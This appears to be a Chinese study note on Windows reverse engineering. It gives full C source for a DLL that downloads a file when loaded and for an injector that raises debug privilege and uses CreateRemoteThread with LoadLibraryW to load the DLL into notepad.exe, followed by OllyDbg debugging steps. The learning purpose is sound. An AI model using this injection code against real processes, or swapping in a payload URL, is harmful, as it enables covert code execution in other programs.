实验环境:WINXP VS2010
功能:注入到notepad.exe程序,并从网上下一个文件
实验程序:
(一)myhack.dll,即要注入的dll程序
#include "windows.h"
#include "tchar.h"
#pragma comment(lib,"urlmon.lib")
#define DEF_URL (L"http://www.naver.com/index.html")
#define DEF_FILE_NAME (L"index.html")
HMODULE g_hMod = NULL;
DWORD WINAPI ThreadProc(LPVOID lParam)
{
TCHAR szPath[_MAX_PATH] = {0,};
if(!GetModuleFileName(g_hMod,szPath,MAX_PATH))
return FALSE;
TCHAR *p = _tcsrchr(szPath,'\\');
if(!p)
return FALSE;
_tcscpy_s(p+1,_MAX_PATH,DEF_FILE_NAME);
HRESULT hr = URLDownloadToFile(NULL,DEF_URL,szPath,0,NULL);
if (hr != S_OK)
return FALSE;
else
OutputDebugString(L"down finish!!!!");
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
HANDLE hThread = NULL;
g_hMod = (HMODULE)hinstDLL;
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
OutputDebugString(L"myhack.dll Injection!!!!");
hThread = CreateThread(NULL,0,ThreadProc,NULL,0,NULL);
if (hThread)
OutputDebugString(L"down finish!!!!");
CloseHandle(hThread);
break;
}
return TRUE;
}
程序流程:
(1)当DLL被加载(DLL_PROCESS_ATTACH)时,先输出一个调试字符串,
(2)利用CreateThread() 创建一个线程,创建后立即被**,直接调用ThreadProc函数
(3)该函数调用URLDownloadToFile() 下载指定网站的index.html文件
(二)InjectDll.exe,即将myhack.dll注入notepad.exe的程序
// InjectDll.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include "windows.h"
#include "tchar.h"
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
HMODULE hMod = NULL;
LPVOID pRemoteBuf = NULL; //存储dll路径字符串的起始地址
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath)+1)*sizeof(TCHAR); // dll路径字符串的大小
LPTHREAD_START_ROUTINE pThreadProc; // 存储LoadLibrary函数的地址
// 使用dwPID获取目标进程句柄
if(!(hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPID)))
{
_tprintf(L"OpenProcess(%d) failed!!![%d]\n",dwPID,GetLastError());
return FALSE;
}
// 在目标进程notepad.exe内存中分配szDLLName大小的内存
pRemoteBuf = VirtualAllocEx(hProcess,NULL,dwBufSize,MEM_COMMIT,PAGE_READWRITE);
// 将myhack.dll路径写入分配的内存
WriteProcessMemory(hProcess,pRemoteBuf,(LPVOID)szDllPath,dwBufSize,NULL);
// 获取LoadLibraryW() API的地址
hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod,"LoadLibraryW");
// 在notepad.exe中运行线程
hThread = CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteBuf,0,NULL);
WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
// 提权函数
BOOL EnableDebugPriv()
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if ( ! OpenProcessToken( GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
printf("提权失败。");
return FALSE;
}
if ( ! LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) )
{
CloseHandle( hToken );
printf("提权失败。");
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //
if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) )
{
printf("提权失败。");
CloseHandle( hToken );
}
else
{
printf("提权成功!");
return TRUE;
}
}
int _tmain(int argc, _TCHAR* argv[])
{
if (argc !=3)
{
_tprintf(L"USAGE: %s pid dll_path\n",argv[0]);
return 1;
}
//inject dll
EnableDebugPriv();
if (InjectDll((DWORD)_tstol(argv[1]),argv[2]))
_tprintf(L"InjectDll(\"%s\") success!!!\n",argv[2]);
else
_tprintf(L"InjectDll(\"%s\") failed!!!\n",argv[2]);
/*DWORD dwPID = 0;
LPCTSTR szDllPath = NULL;
dwPID = 1776;
szDllPath = L"C:\\work\\myhack.dll";
InjectDll(dwPID,szDllPath);*/
return 0;
}
程序流程:
(1)首先进行提权,如果不提权,OpenProcess()会报GetlastError[5]的错误,同时拿不到句柄。这是因为在xp环境下,虽然账号是管理员,但是权限默认没有启动。
(2)利用OpenProcess() 获得目标进程的句柄。这里指notepad.exe
(3)用VirtualAllocEx() 在目标进程空间分配一定的内存空间。用来写入DLL的路径
(4)用WriteProcessMemory() 将DLL路径字符串写入刚分配的内存。
(5)利用GetModuleHandle() 和GetProcessAddress() 得到LoadLibrary() 的地址。用来加载DLL
(6)利用CreateRemoteThread() 使LoadLibrary()加载DLL,实现DLL的注入。
给进程提权有三种方法:
调试:
打开记事本,OD attach ,运行;
将OD的选项->调试设置->事件->中断在新模块DLL处选中,则程序当加载新的DLL时就会停住;
运行命令行,输入参数,运行InjectDll.exe程序;
则OD会弹出Executable modules窗口,发现myhack.dll被加载
双击来到myhack.dll 入口点附近,下断点,接下来,将OD的中断在新的DLL入口处关闭,运行,就可以调试DLL程序了
具体分析一下dll流程:
(1)首先通过GetModuleFileName得到myhack.dll的完整路径
(2)通过_tcschr() 得到’\myhack.dll’。_tcschr(szPath,’\’)表示查找szPath字符串’‘字符最后一次出现的位置,并返回\后面的字符,包括’’
接下来调用_tcscpy_s(p+1,_MAX_PATH,DEF_FILE_NAME)此时,p+1指向’myhack.dll’字符串;
执行完后,说明这个函数实现了拷贝,但是……为啥要拷贝?
最后调用URLDownloadToFile() 函数实现下载。观察参数明白了,原来拷贝函数是为了得到下载存储的路径的呀!
运行程序:发现注入成功了!但是遗憾的是work文件夹中并没有下载的index.html文件。。。原因未知。。。
用Process Explorer也能看到myhack.dll确实被注入到notepad.exe中了